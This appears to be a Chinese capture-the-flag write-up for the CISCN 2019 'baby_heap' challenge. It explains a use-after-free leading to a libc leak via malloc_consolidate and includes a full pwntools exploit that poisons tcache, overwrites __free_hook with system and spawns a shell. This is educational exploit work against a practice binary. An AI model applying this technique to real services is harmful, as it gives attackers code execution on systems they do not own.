美文网首页
ciscn_2019_c6(baby_heap)

ciscn_2019_c6(baby_heap)

作者: pu1p | 来源:发表于2019-08-02 19:16 被阅读0次

    背景

    这题是国赛第一天的题目, 做出来的队伍挺多的. 漏洞利用点还挺有意思的, 之前没见过, 所以记录一下.

    不过这题最迷的是 check , 不知道咋写的, 明明运行没问题非说 服务异常 不过我觉得可能是平台的原因.... 做出来的两个题就没 patch 成功过.... 赛后看群里讨论有人直接把一个题目当错另外一个题目的 patch 上传都能利用成功, 这exp怕不是直接用了 libc 的漏洞???

    程序分析

    程序保护全开, 还给了个 libc, 试了一下是libc 2.27.

    这儿提一下我测试 libc 版本的方法: 如果题目提供libc的话, 我会修改程序使用的ld 然后尝试用不同版本的 ld 来加载提供的 libc , 从而可以得知libc的版本.

    对于那种不提供 libc 的题目可以先试一下 double free, 如果不报错的话一般就可以当错 tcache 来做了. 不过也不排除使用的是 libc 2.29, 或者用 mallopt(M_CHECK_ACTION, 0) 来保证程序仍然可以继续运行. 各位师傅如果有啥比较好的方法欢迎交流.

    程序就提供两个功能, mallocfree, 不过程序会限制 mallocchunk 的大小最大为 0x80

    漏洞分析

    然后分析一下漏洞点

    首先是程序会把 malloc 的返回值打印出来. 可以用这个来泄露地址.

    然后就是程序在 free 之后不会讲指针清零, 存在 uaf 漏洞.

    显然关键就在于怎么泄露libc地址了, 只要能泄露 libc 地址结合 tcacheuaf 漏洞就可以直接修改 __free_hooksystem 地址了.

    但是程序限制了 mallocchunk 的大小最大为 0x80, 所以所有 chunkfree 之后就会首先被放到 tcache 中, tcache 放满了也会放到 fastbin 中, 并没有办法泄露地址.

    看到这一步如果有知道 house_of_orange 的小伙伴应该会想到能否通过 修改 top_chunksize 来实现将 top_chunk 插入到 unsorted bin 中. 这样就可以在堆上找到 libc 的地址了.

    我当时就是按照这个思路来做的. 不一样的是我发现 ptmalloc 并不会将 top_chunk 放到 unsorted bin 中(不知道是 libc 2.27 的原因还是因为我构造的问题), 不过却会调用 malloc_consolidate. 这个函数会把 fastbin 中的 chunk 都合并, 然后插到 unsorted bin 里面, 然后堆上就有 libc 的地址了 :P

    有了这个思路写 exp 就很快了.

    exp

    #coding:utf-8
    from pwn import *
    import time
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "pwn_27"
    
    
    elf = ELF("./"+filename)
    io = process("./" + filename, env={'LD_PRELOAD': "./libc.so.6:/usr/lib/x86_64-linux-gnu/libstdc++.so.6:/lib/x86_64-linux-gnu/libm.so.6:/lib/x86_64-linux-gnu/libgcc_s.so.1"}) 
    libc = ELF("./libc.so.6")
    
    
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def choice(p, idx):
        sla(p, "choice > ", str(idx))
    
    def add(p, idx, size, content):
        choice(p, 1)
        sla(p, "index", str(idx))
        sla(p, "size", str(size))
        sa(p, "something", content)
        ru(p, 'gift :')
        addr = int(rl(p).strip('\n'), 16)
        print(hex(addr))
        return addr
    
    def delete(p, idx):
        choice(p, 2)
        sla(p, "index", str(idx))
    
    heap_addr = add(io, 0, 0x50, 'aaa\x80bbb')
    add(io, 1, 0x48, 'aaa\x80bbb')
    
    
    lg("heap_addr", heap_addr)
    
    top_addr = heap_addr + 160
    
    delete(io, 0)
    delete(io, 0)
    delete(io, 0)
    add(io, 2, 0x50, p64(top_addr)*2)
    add(io, 3, 0x50, p64(top_addr)*2)
    add(io, 4, 0x50, p64(0xf1)*2)
    
    
    
    for i in range(8):
        delete(io, 1)
    for i in range(8):
        delete(io, 0)
    
    
    # trigger malloc consolidate and leak libc
    add(io, 5, 0x78, 'aaa\x80bbb')
    add(io, 6, 0x78, 'aaa\x80bbb')
    add(io, 7, 0x48, p64(top_addr)*2)
    libc_addr = add(io, 8, 0x48, p64(top_addr)*2) - 245760
    lg("libc_addr", libc.address)
    
    libc.address = libc_addr -3865760
    
    # modify __free_hook to system
    free_hook = libc.symbols['__free_hook']
    lg("free_hook", free_hook)
    delete(io, 0)
    delete(io, 0)
    delete(io, 0)
    add(io, 13, 0x50, p64(free_hook)*2)
    add(io, 9, 0x50, p64(free_hook)*2)
    
    add(io, 10, 0x50, p64(libc.symbols['system'])*2)
    
    add(io, 14, 0x40, '/bin/sh\x00')
    # gdb.attach(io)
    
    # system("/bin/sh")
    delete(io, 14)
    io.interactive()
    

    相关文章

      网友评论

          本文标题:ciscn_2019_c6(baby_heap)

          本文链接:https://www.haomeiwen.com/subject/gdhrdctx.html